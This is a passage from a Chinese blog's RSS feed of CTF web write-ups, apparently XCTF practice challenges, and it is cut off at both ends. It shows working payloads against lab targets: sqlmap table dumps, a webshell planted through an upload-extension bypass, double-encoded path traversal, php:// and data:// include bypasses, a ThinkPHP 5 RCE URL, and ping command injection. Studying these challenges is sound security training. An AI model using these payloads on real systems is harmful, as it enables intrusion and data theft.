&lt;/script></code></pre>



<p class="is-style-iw-2em">上来是一个函数，最后这句话输入函数参数</p>



<pre class="wp-block-code"><code>document.write('&lt;input id="c">&lt;button onclick=$()>Ok&lt;/button>'); </code></pre>



<p class="is-style-iw-2em">函数里面，首先判断长度是不是16（本周题改成0了），再有多个if嵌套，比较输入是否包含这些字符串，最后输出flag。</p>



<h4 class="wp-block-heading">把字符串拼起来输入</h4>



<p class="is-style-iw-2em">^表示匹配开始字段，$表示匹配结束字段，所以构造满足条件的字符串即可。</p>



<pre class="wp-block-code"><code>be0f233ac7be98aa</code></pre>



<p class="is-style-iw-2em">得到flag{it&#8217;s_a_h0le_in_0ne}</p>



<h4 class="wp-block-heading">直接截取得到flag的代码运行</h4>



<div class="wp-block-image"><figure class="aligncenter size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-5.png" alt="" class="wp-image-1540"/></figure></div>



<p class="is-style-iw-2em">把这段直接放到console里运行，得到flag。</p>



<p class="is-style-iw-2em">第二道MISC请见：</p>



<p class="is-style-iw-2em"><a href="https://www.cztcode.com/2020/ctf-decryption-misc-2/" class="rank-math-link">CTF解密MISC（二）</a></p>



<hr class="wp-block-separator"/>



<p class="is-style-iw-2em"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.cztcode.com/2020/1537/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1537</post-id>	</item>
		<item>
		<title>sqlmap</title>
		<link>https://www.cztcode.com/2020/1499/</link>
					<comments>https://www.cztcode.com/2020/1499/#respond</comments>
		
		<dc:creator><![CDATA[Jellow]]></dc:creator>
		<pubDate>Tue, 14 Apr 2020 02:51:38 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://www.cztcode.com/?p=1499</guid>

					<description><![CDATA[sqlmap使用的指令，如何进行sql注入，黑进xxx数据库]]></description>
										<content:encoded><![CDATA[<div id="bsf_rt_marker"></div>
<p class="is-style-iw-2em">sqlmap使用的指令，如何进行sql注入</p>



<h3 class="wp-block-heading">列出数据库的信息</h3>



<p class="is-style-iw-2em">-u http://159.138.137.79:50870/ &#8211;data &#8220;search=df&#8221; -dbs</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="512" src="https://www.cztcode.com/wp-content/uploads/2020/04/74-1024x512.png" alt="" class="wp-image-1500" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/74-1024x512.png 1024w, https://www.cztcode.com/wp-content/uploads/2020/04/74-300x150.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/74-768x384.png 768w, https://www.cztcode.com/wp-content/uploads/2020/04/74.png 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="is-style-iw-2em">可以看到这个数据库里面有两个表</p>



<h3 class="wp-block-heading">列出某个表</h3>



<p class="is-style-iw-2em">-u http://159.138.137.79:50870/ &#8211;data &#8220;search=df&#8221; -D news &#8211;tables</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="512" src="https://www.cztcode.com/wp-content/uploads/2020/04/75-1024x512.png" alt="" class="wp-image-1501" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/75-1024x512.png 1024w, https://www.cztcode.com/wp-content/uploads/2020/04/75-300x150.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/75-768x384.png 768w, https://www.cztcode.com/wp-content/uploads/2020/04/75.png 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h3 class="wp-block-heading">查看表信息</h3>



<p class="is-style-iw-2em">-u http://159.138.137.79:50870/ &#8211;data &#8220;search=df&#8221; -T secret_table &#8211;dump</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="512" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-1024x512.png" alt="" class="wp-image-1502" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-1024x512.png 1024w, https://www.cztcode.com/wp-content/uploads/2020/04/image-300x150.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/image-768x384.png 768w, https://www.cztcode.com/wp-content/uploads/2020/04/image.png 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="is-style-iw-2em">还会继续补充&#8212;&#8211;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.cztcode.com/2020/1499/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1499</post-id>	</item>
		<item>
		<title>CTFwebⅥ</title>
		<link>https://www.cztcode.com/2020/1456/</link>
					<comments>https://www.cztcode.com/2020/1456/#respond</comments>
		
		<dc:creator><![CDATA[Jellow]]></dc:creator>
		<pubDate>Thu, 09 Apr 2020 11:33:40 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://www.cztcode.com/?p=1456</guid>

					<description><![CDATA[文件上传和爆破题，来自XCTF]]></description>
										<content:encoded><![CDATA[<div id="bsf_rt_marker"></div>
<p class="is-style-iw-2em">文件上传和爆破题，来自XCTF</p>



<span id="more-1456"></span>



<h3 class="wp-block-heading">upload1</h3>



<p class="is-style-iw-2em">打开网页</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="487" height="168" src="https://www.cztcode.com/wp-content/uploads/2020/04/56.png" alt="" class="wp-image-1457" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/56.png 487w, https://www.cztcode.com/wp-content/uploads/2020/04/56-300x103.png 300w" sizes="(max-width: 487px) 100vw, 487px" /></figure>



<p class="is-style-iw-2em">上传一个试试</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="564" height="169" src="https://www.cztcode.com/wp-content/uploads/2020/04/57.png" alt="" class="wp-image-1458" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/57.png 564w, https://www.cztcode.com/wp-content/uploads/2020/04/57-300x90.png 300w" sizes="(max-width: 564px) 100vw, 564px" /></figure>



<p class="is-style-iw-2em">只让传图片，去看看源码</p>



<pre class="wp-block-code"><code>&lt;!Doctype html>
&lt;html>
&lt;head>
&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
&lt;script type="text/javascript">
Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this&#91;i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(&#91;'jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}
}
&lt;/script>
&lt;/head>
&lt;body>
&lt;form enctype='multipart/form-data' id='aa' name='aaa' method='post' action='index.php'> 
&lt;input  id="upfile" name='upfile' type='file' onchange="check();" /> 

&lt;input type='submit'  id ='submit' value='上传'> 
&lt;/form> 
&lt;/body>
&lt;/html></code></pre>



<p class="is-style-iw-2em">只可以上传jpg和png格式</p>



<p class="is-style-iw-2em">可以在上传时更改文件名后缀，比如用brupsuit改包</p>



<p class="is-style-iw-2em">先上传jpg后缀的一句话木马</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="839" height="441" src="https://www.cztcode.com/wp-content/uploads/2020/04/61.png" alt="" class="wp-image-1460" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/61.png 839w, https://www.cztcode.com/wp-content/uploads/2020/04/61-300x158.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/61-768x404.png 768w" sizes="(max-width: 839px) 100vw, 839px" /></figure>



<p class="is-style-iw-2em">再改成php</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="441" height="124" src="https://www.cztcode.com/wp-content/uploads/2020/04/62.png" alt="" class="wp-image-1461" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/62.png 441w, https://www.cztcode.com/wp-content/uploads/2020/04/62-300x84.png 300w" sizes="(max-width: 441px) 100vw, 441px" /></figure>



<p class="is-style-iw-2em">上传成功</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/04/63.png" alt="" class="wp-image-1462"/></figure>



<p class="is-style-iw-2em">蚁剑连接找到flag</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="335" src="https://www.cztcode.com/wp-content/uploads/2020/04/60-1024x335.png" alt="" class="wp-image-1463" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/60-1024x335.png 1024w, https://www.cztcode.com/wp-content/uploads/2020/04/60-300x98.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/60-768x251.png 768w, https://www.cztcode.com/wp-content/uploads/2020/04/60.png 1284w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="is-style-iw-2em">还有一种方式，可以在前端更改，把上传按钮的disable去掉就可以了</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="720" height="220" src="https://www.cztcode.com/wp-content/uploads/2020/04/58.png" alt="" class="wp-image-1464" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/58.png 720w, https://www.cztcode.com/wp-content/uploads/2020/04/58-300x92.png 300w" sizes="(max-width: 720px) 100vw, 720px" /></figure>



<h2 class="wp-block-heading">ics-06</h2>



<p class="is-style-iw-2em">云平台报表中心收集了设备管理基础服务的数据，但是数据被删除了，只有一处留下了入侵者的痕迹。</p>



<p class="is-style-iw-2em">打开网页</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/04/64-1-1024x453.png" alt="" class="wp-image-1468"/></figure>



<p class="is-style-iw-2em">题目提示去报表中心</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/04/65-1.png" alt="" class="wp-image-1469"/></figure>



<p class="is-style-iw-2em">发现了一个变量，用brupsuit爆破试试</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="646" height="372" src="https://www.cztcode.com/wp-content/uploads/2020/04/66.png" alt="" class="wp-image-1470" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/66.png 646w, https://www.cztcode.com/wp-content/uploads/2020/04/66-300x173.png 300w" sizes="(max-width: 646px) 100vw, 646px" /></figure>



<p class="is-style-iw-2em">变量已经选好了</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/04/67.png" alt="" class="wp-image-1471"/></figure>



<p class="is-style-iw-2em">类型选择数字，范围选择的是1-9999</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="404" height="123" src="https://www.cztcode.com/wp-content/uploads/2020/04/68.png" alt="" class="wp-image-1472" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/68.png 404w, https://www.cztcode.com/wp-content/uploads/2020/04/68-300x91.png 300w" sizes="(max-width: 404px) 100vw, 404px" /></figure>



<p class="is-style-iw-2em">线程500</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/04/69.png" alt="" class="wp-image-1474"/></figure>



<p class="is-style-iw-2em">找到了一个响应包不同的值</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="526" height="118" src="https://www.cztcode.com/wp-content/uploads/2020/04/70.png" alt="" class="wp-image-1475" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/70.png 526w, https://www.cztcode.com/wp-content/uploads/2020/04/70-300x67.png 300w" sizes="(max-width: 526px) 100vw, 526px" /></figure>



<p class="is-style-iw-2em">访问即可拿到flag</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="653" height="425" src="https://www.cztcode.com/wp-content/uploads/2020/04/71.png" alt="" class="wp-image-1476" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/71.png 653w, https://www.cztcode.com/wp-content/uploads/2020/04/71-300x195.png 300w" sizes="(max-width: 653px) 100vw, 653px" /></figure>



<hr class="wp-block-separator"/>



<p class="is-style-iw-2em"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.cztcode.com/2020/1456/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1456</post-id>	</item>
		<item>
		<title>CTFweb（五）</title>
		<link>https://www.cztcode.com/2020/1402/</link>
					<comments>https://www.cztcode.com/2020/1402/#respond</comments>
		
		<dc:creator><![CDATA[Jellow]]></dc:creator>
		<pubDate>Fri, 03 Apr 2020 11:21:09 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://www.cztcode.com/?p=1402</guid>

					<description><![CDATA[CTF题解 warmup Web_php_include ]]></description>
										<content:encoded><![CDATA[<div id="bsf_rt_marker"></div>
<h3 class="wp-block-heading">CTFweb题解两道，题目来自攻防世界</h3>



<span id="more-1402"></span>



<h4 class="wp-block-heading"> warmup （代码审计）</h4>



<p class="is-style-iw-2em">临时网址：</p>



<pre class="wp-block-code"><code>http:&#47;&#47;111.198.29.45:42917/</code></pre>



<p class="is-style-iw-2em">打开发现滑稽</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="687" height="613" src="https://www.cztcode.com/wp-content/uploads/2020/04/41.png" alt="" class="wp-image-1404" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/41.png 687w, https://www.cztcode.com/wp-content/uploads/2020/04/41-300x268.png 300w" sizes="(max-width: 687px) 100vw, 687px" /></figure>



<p class="is-style-iw-2em">藏在页面里了，打开source.php</p>



<pre class="wp-block-code"><code>&lt;?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&amp;$page)
        {
            $whitelist = &#91;"source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST&#91;'file'])
        &amp;&amp; is_string($_REQUEST&#91;'file'])
        &amp;&amp; emmm::checkFile($_REQUEST&#91;'file'])
    ) {
        include $_REQUEST&#91;'file'];
        exit;
    } else {
        echo "&lt;br>&lt;img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  </code></pre>



<p class="is-style-iw-2em">两个白名单，source.php和hint.php，打开hint.php</p>



<div class="wp-block-image"><figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="595" height="131" src="https://www.cztcode.com/wp-content/uploads/2020/04/40.png" alt="" class="wp-image-1403" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/40.png 595w, https://www.cztcode.com/wp-content/uploads/2020/04/40-300x66.png 300w" sizes="(max-width: 595px) 100vw, 595px" /></figure></div>



<p class="is-style-iw-2em">flag不在这，回到hint.php审计代码</p>



<pre class="wp-block-code"><code>&lt;?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&amp;$page)  //传入page参数
        {
            $whitelist = &#91;"source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {   //page为空或者不是字符串
                echo "you can't see it";
                return false;         
            }

            if (in_array($page, $whitelist)) {  // page在白名单里
                return true;                        
            }                                

            $_page = mb_substr(
                $page,                          //截取到第一个问号，如果没有问号则不截取
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page); //解码
            $_page = mb_substr(         //解码后截取
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {  //这种方式可以获得flag
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST&#91;'file'])
        &amp;&amp; is_string($_REQUEST&#91;'file'])
        &amp;&amp; emmm::checkFile($_REQUEST&#91;'file'])
    ) {
        include $_REQUEST&#91;'file'];
        exit;
    } else {
        echo "&lt;br>&lt;img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  </code></pre>



<p class="is-style-iw-2em">可以使用最后一个if获得flag，通过把?二次编码，在服务器端提取参数时解码一次，在checkfile中解码一次。之后再在上级目录中找ffffllllaaaagggg。</p>



<pre class="wp-block-code"><code>http:&#47;&#47;111.198.29.45:51775/source.php?file=source.php%253f../../../../../ffffllllaaaagggg</code></pre>



<p class="is-style-iw-2em">得到flag</p>



<pre class="wp-block-code"><code>flag{25e7bce6005c4e0c983fb97297ac6e5a}</code></pre>



<h4 class="wp-block-heading"> Web_php_include </h4>



<p class="is-style-iw-2em">这个题有两种解法，先来一种暴力的，直接扫</p>



<h5 class="wp-block-heading">一句话木马</h5>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/04/44.png" alt="" class="wp-image-1406"/></figure>



<p class="is-style-iw-2em">数据库在这，空密码直接进</p>



<p class="is-style-iw-2em">然后一句话木马</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="736" height="334" src="https://www.cztcode.com/wp-content/uploads/2020/04/45.png" alt="" class="wp-image-1407" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/45.png 736w, https://www.cztcode.com/wp-content/uploads/2020/04/45-300x136.png 300w" sizes="(max-width: 736px) 100vw, 736px" /></figure>



<p class="is-style-iw-2em">答案在这里</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="250" src="https://www.cztcode.com/wp-content/uploads/2020/04/46-1024x250.png" alt="" class="wp-image-1411" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/46-1024x250.png 1024w, https://www.cztcode.com/wp-content/uploads/2020/04/46-300x73.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/46-768x187.png 768w, https://www.cztcode.com/wp-content/uploads/2020/04/46.png 1287w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h5 class="wp-block-heading">伪协议</h5>



<pre class="wp-block-code"><code>&lt;?php
show_source(__FILE__);
echo $_GET&#91;'hello'];
$page=$_GET&#91;'page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?></code></pre>



<p class="is-style-iw-2em">strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是，则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串；否则，返回NULL。</p>



<p class="is-style-iw-2em">这个直接把php://替换了，大小写绕过即可</p>



<p class="is-style-iw-2em"><strong>使用brupsuit连接</strong></p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/04/47.png" alt="" class="wp-image-1413"/></figure>



<p class="is-style-iw-2em">有flag文件</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="388" height="446" src="https://www.cztcode.com/wp-content/uploads/2020/04/48.png" alt="" class="wp-image-1414" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/48.png 388w, https://www.cztcode.com/wp-content/uploads/2020/04/48-261x300.png 261w" sizes="(max-width: 388px) 100vw, 388px" /></figure>



<p class="is-style-iw-2em">cat打开文件</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="506" height="434" src="https://www.cztcode.com/wp-content/uploads/2020/04/49.png" alt="" class="wp-image-1415" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/49.png 506w, https://www.cztcode.com/wp-content/uploads/2020/04/49-300x257.png 300w" sizes="(max-width: 506px) 100vw, 506px" /></figure>



<p class="is-style-iw-2em">也可以使用page=data:text/plain,&lt;?php system(&#8220;ls&#8221;); ?&gt;</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/04/50.png" alt="" class="wp-image-1416"/></figure>



<p class="is-style-iw-2em">同样可以拿到flag</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.cztcode.com/2020/1402/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1402</post-id>	</item>
		<item>
		<title>CTFweb（四）</title>
		<link>https://www.cztcode.com/2020/1067/</link>
					<comments>https://www.cztcode.com/2020/1067/#respond</comments>
		
		<dc:creator><![CDATA[Jellow]]></dc:creator>
		<pubDate>Tue, 10 Mar 2020 12:26:18 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://www.cztcode.com/?p=1067</guid>

					<description><![CDATA[CTFweb   writeup 每日更新，php_rce ]]></description>
										<content:encoded><![CDATA[<div id="bsf_rt_marker"></div>
<p>CTFweb   writeup 每日更新，php_rce </p>



<h4 class="wp-block-heading"> 1.php_rce </h4>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="797" height="507" src="https://www.cztcode.com/wp-content/uploads/2020/03/4-1.png" alt="" class="wp-image-1068" srcset="https://www.cztcode.com/wp-content/uploads/2020/03/4-1.png 797w, https://www.cztcode.com/wp-content/uploads/2020/03/4-1-300x191.png 300w, https://www.cztcode.com/wp-content/uploads/2020/03/4-1-768x489.png 768w" sizes="(max-width: 797px) 100vw, 797px" /></figure>



<p class="is-style-iw-2em">额，这个之前没见过。后来了解到Thinkphp  5  有漏洞    <a href="https://www.vulnspy.com/cn-thinkphp-5.x-rce/" class="rank-math-link" target="_blank" rel="noopener">漏洞介绍</a></p>



<pre class="wp-block-code"><code>http://IP/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=指令</code></pre>



<p class="is-style-iw-2em">比如执行，查找flag文件</p>



<pre class="wp-block-code"><code>http://111.198.29.45:43429/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=find / -name "*flag"</code></pre>



<p class="is-style-iw-2em">显示   /flag /flag </p>



<p class="is-style-iw-2em">直接打开flag文件</p>



<pre class="wp-block-code"><code>http://111.198.29.45:43429/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=cat /flag</code></pre>



<p class="is-style-iw-2em">得到 flag{thinkphp5_rce}&nbsp; </p>



<p class="is-style-iw-2em">这个题有特殊性吧，不知道漏洞是解不出来。积累一下。</p>



<p class="is-style-iw-2em">第二道题遇到了点问题，随后会更新。</p>



<p class="is-style-iw-2em"></p>



<p class="is-style-iw-2em"></p>



<p class="is-style-iw-2em"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.cztcode.com/2020/1067/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1067</post-id>	</item>
		<item>
		<title>CTFweb（三）</title>
		<link>https://www.cztcode.com/2020/1033/</link>
					<comments>https://www.cztcode.com/2020/1033/#respond</comments>
		
		<dc:creator><![CDATA[Jellow]]></dc:creator>
		<pubDate>Mon, 09 Mar 2020 07:52:09 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://www.cztcode.com/?p=1033</guid>

					<description><![CDATA[web类题目writeup第三天，题目来源XCTF。每日更新两道。]]></description>
										<content:encoded><![CDATA[<div id="bsf_rt_marker"></div>
<h4 class="wp-block-heading">web类题目writeup第三天，题目来源XCTF。每日更新两道。</h4>



<span id="more-1033"></span>



<h5 class="wp-block-heading"> 1.baby_web  想想初始页面是哪个 </h5>



<p class="is-style-iw-2em">初始页面index.php。每个网站都会有这个文件，刚部署好环境自动创建的，index有索引的意思。</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="321" height="31" src="https://www.cztcode.com/wp-content/uploads/2020/03/3_1.png" alt="" class="wp-image-1034" srcset="https://www.cztcode.com/wp-content/uploads/2020/03/3_1.png 321w, https://www.cztcode.com/wp-content/uploads/2020/03/3_1-300x29.png 300w" sizes="(max-width: 321px) 100vw, 321px" /></figure>



<p class="is-style-iw-2em">手动进入index.php，在控制台查看文件内容</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="213" src="https://www.cztcode.com/wp-content/uploads/2020/03/3-2-1024x213.png" alt="" class="wp-image-1035" srcset="https://www.cztcode.com/wp-content/uploads/2020/03/3-2-1024x213.png 1024w, https://www.cztcode.com/wp-content/uploads/2020/03/3-2-300x63.png 300w, https://www.cztcode.com/wp-content/uploads/2020/03/3-2-768x160.png 768w, https://www.cztcode.com/wp-content/uploads/2020/03/3-2.png 1224w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="is-style-iw-2em">找到flag，这题也是很baby了</p>



<h5 class="wp-block-heading">2. Training-WWW-Robots </h5>



<p class="is-style-iw-2em">看这个题目，绝对是robots.txt，进入页面弹出这段话</p>



<p class="is-style-iw-2em"> In this little training challenge, you are going to learn about the <a href="https://baike.baidu.com/item/robots/5243374?fr=aladdin" class="rank-math-link" target="_blank" rel="noopener">Robots_exclusion_standard</a>.<br>The robots.txt file is used by web crawlers to check if they are allowed to crawl and index your website or only parts of it.<br>Sometimes these files reveal the directory structure instead protecting the content from being crawled.</p>



<p class="is-style-iw-2em">Enjoy!

</p>



<p class="is-style-iw-2em">直接进入</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="615" height="212" src="https://www.cztcode.com/wp-content/uploads/2020/03/3-3.png" alt="" class="wp-image-1037" srcset="https://www.cztcode.com/wp-content/uploads/2020/03/3-3.png 615w, https://www.cztcode.com/wp-content/uploads/2020/03/3-3-300x103.png 300w" sizes="(max-width: 615px) 100vw, 615px" /></figure>



<p class="is-style-iw-2em">就是你了！！</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/03/3-4.png" alt="" class="wp-image-1038"/></figure>



<p class="is-style-iw-2em">完事，明天继续更新。</p>



<hr class="wp-block-separator"/>



<p class="is-style-iw-2em"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.cztcode.com/2020/1033/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1033</post-id>	</item>
		<item>
		<title>CTFweb（二）</title>
		<link>https://www.cztcode.com/2020/1008/</link>
					<comments>https://www.cztcode.com/2020/1008/#respond</comments>
		
		<dc:creator><![CDATA[Jellow]]></dc:creator>
		<pubDate>Sun, 08 Mar 2020 12:46:35 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://www.cztcode.com/?p=1008</guid>

					<description><![CDATA[本篇还是CTFweb刷题的记录，来自xctf。每天更新两道~]]></description>
										<content:encoded><![CDATA[<div id="bsf_rt_marker"></div>
<h4 class="wp-block-heading">本篇还是CTFweb刷题的记录，来自xctf。每天更新两道~</h4>



<span id="more-1008"></span>



<h5 class="wp-block-heading"> 1.小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。 </h5>



<p class="is-style-iw-2em">打开网址出现输入框，看看能不能带一个其它命令进去</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="403" height="251" src="https://www.cztcode.com/wp-content/uploads/2020/03/02_16.png" alt="" class="wp-image-1015" srcset="https://www.cztcode.com/wp-content/uploads/2020/03/02_16.png 403w, https://www.cztcode.com/wp-content/uploads/2020/03/02_16-300x187.png 300w" sizes="(max-width: 403px) 100vw, 403px" /></figure>



<p class="is-style-default"><strong>命令执行</strong></p>



<ul class="wp-block-list"><li>command1
     &amp;&amp; command2 先执行 command1，如果为真，再执行
     command2</li><li>command1
     | command2&nbsp;&nbsp; 只执行
     command2</li><li>command1
     &amp; command2&nbsp;&nbsp; 先执行
     command2 后执行 command1 </li><li>command1
     || command2&nbsp; 先执行
     command1，如果为假，再执行 command2 </li></ul>



<p class="is-style-iw-2em">带入find /  -name  &#8221; flag*&#8221;   ，看看有没有flag</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="500" height="342" src="https://www.cztcode.com/wp-content/uploads/2020/03/02_17.png" alt="" class="wp-image-1016" srcset="https://www.cztcode.com/wp-content/uploads/2020/03/02_17.png 500w, https://www.cztcode.com/wp-content/uploads/2020/03/02_17-300x205.png 300w" sizes="(max-width: 500px) 100vw, 500px" /></figure>



<p class="is-style-iw-2em">果然有，那就直接打开，应该就可以得到flag了</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="450" height="306" src="https://www.cztcode.com/wp-content/uploads/2020/03/02_18.png" alt="" class="wp-image-1017" srcset="https://www.cztcode.com/wp-content/uploads/2020/03/02_18.png 450w, https://www.cztcode.com/wp-content/uploads/2020/03/02_18-300x204.png 300w" sizes="(max-width: 450px) 100vw, 450px" /></figure>



<h5 class="wp-block-heading"> 2.小宁发现了一个网页，但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} ) </h5>



<p class="is-style-iw-2em">打开网页</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="551" height="211" src="https://www.cztcode.com/wp-content/uploads/2020/03/02_19.png" alt="" class="wp-image-1018" srcset="https://www.cztcode.com/wp-content/uploads/2020/03/02_19.png 551w, https://www.cztcode.com/wp-content/uploads/2020/03/02_19-300x115.png 300w" sizes="(max-width: 551px) 100vw, 551px" /></figure>



<p class="is-style-iw-2em">输入密码返回错误，在这里是找不到什么了，看看源码</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/03/02_20-1024x344.png" alt="" class="wp-image-1019"/></figure>



<pre class="wp-block-code"><code>
&lt;html>
&lt;head>
    &lt;title>JS&lt;/title>
    &lt;script type="text/javascript">
    function dechiffre(pass_enc){
